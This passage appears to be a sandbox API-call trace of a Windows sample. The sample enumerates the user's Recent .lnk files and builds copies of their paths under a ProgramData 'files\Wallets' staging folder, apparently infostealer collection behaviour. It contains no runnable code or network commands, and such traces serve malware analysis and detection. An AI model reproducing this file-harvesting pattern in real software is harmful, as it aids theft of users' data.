lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-Obkacvs.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-Obkacvs.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-Obkacvs.lnk" [0052.417] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.417] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.417] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="-Obkacvs.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\-Obkacvs.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\-Obkacvs.lnk" [0052.417] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.417] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1ACsqV.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1ACsqV.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1ACsqV.lnk" [0052.417] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.417] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.417] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="1ACsqV.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\1ACsqV.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\1ACsqV.lnk" [0052.417] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.417] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1I17sp9W-VW1Fcte.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1I17sp9W-VW1Fcte.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1I17sp9W-VW1Fcte.lnk" [0052.417] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.417] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.417] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="1I17sp9W-VW1Fcte.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\1I17sp9W-VW1Fcte.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\1I17sp9W-VW1Fcte.lnk" [0052.417] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.417] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1n7s37KH.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1n7s37KH.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1n7s37KH.lnk" [0052.418] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.418] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.418] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="1n7s37KH.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\1n7s37KH.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\1n7s37KH.lnk" [0052.418] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.418] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="2fbbq.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2fbbq.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2fbbq.lnk" [0052.418] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.418] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.418] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="2fbbq.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\2fbbq.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\2fbbq.lnk" [0052.418] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.418] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="2k3_A2r2X.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2k3_A2r2X.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2k3_A2r2X.lnk" [0052.418] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.418] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.418] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="2k3_A2r2X.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\2k3_A2r2X.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\2k3_A2r2X.lnk" [0052.418] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.418] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4iT8SQC_hQDP.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4iT8SQC_hQDP.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4iT8SQC_hQDP.lnk" [0052.418] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.418] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.418] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="4iT8SQC_hQDP.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\4iT8SQC_hQDP.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\4iT8SQC_hQDP.lnk" [0052.418] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.418] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4SRSKugb0W5k6NGXr4gZ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4SRSKugb0W5k6NGXr4gZ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4SRSKugb0W5k6NGXr4gZ.lnk" [0052.418] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.418] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.418] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="4SRSKugb0W5k6NGXr4gZ.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\4SRSKugb0W5k6NGXr4gZ.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\4SRSKugb0W5k6NGXr4gZ.lnk" [0052.418] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.418] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="5-c_gf7v.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5-c_gf7v.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5-c_gf7v.lnk" [0052.419] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.419] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.419] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="5-c_gf7v.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\5-c_gf7v.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\5-c_gf7v.lnk" [0052.419] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.419] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="5sJxVCB.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5sJxVCB.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5sJxVCB.lnk" [0052.419] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.419] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.419] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="5sJxVCB.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\5sJxVCB.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\5sJxVCB.lnk" [0052.419] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.419] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="5vbV-w5gtE8pb.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5vbV-w5gtE8pb.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5vbV-w5gtE8pb.lnk" [0052.419] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.419] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.419] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="5vbV-w5gtE8pb.lnk" | out: 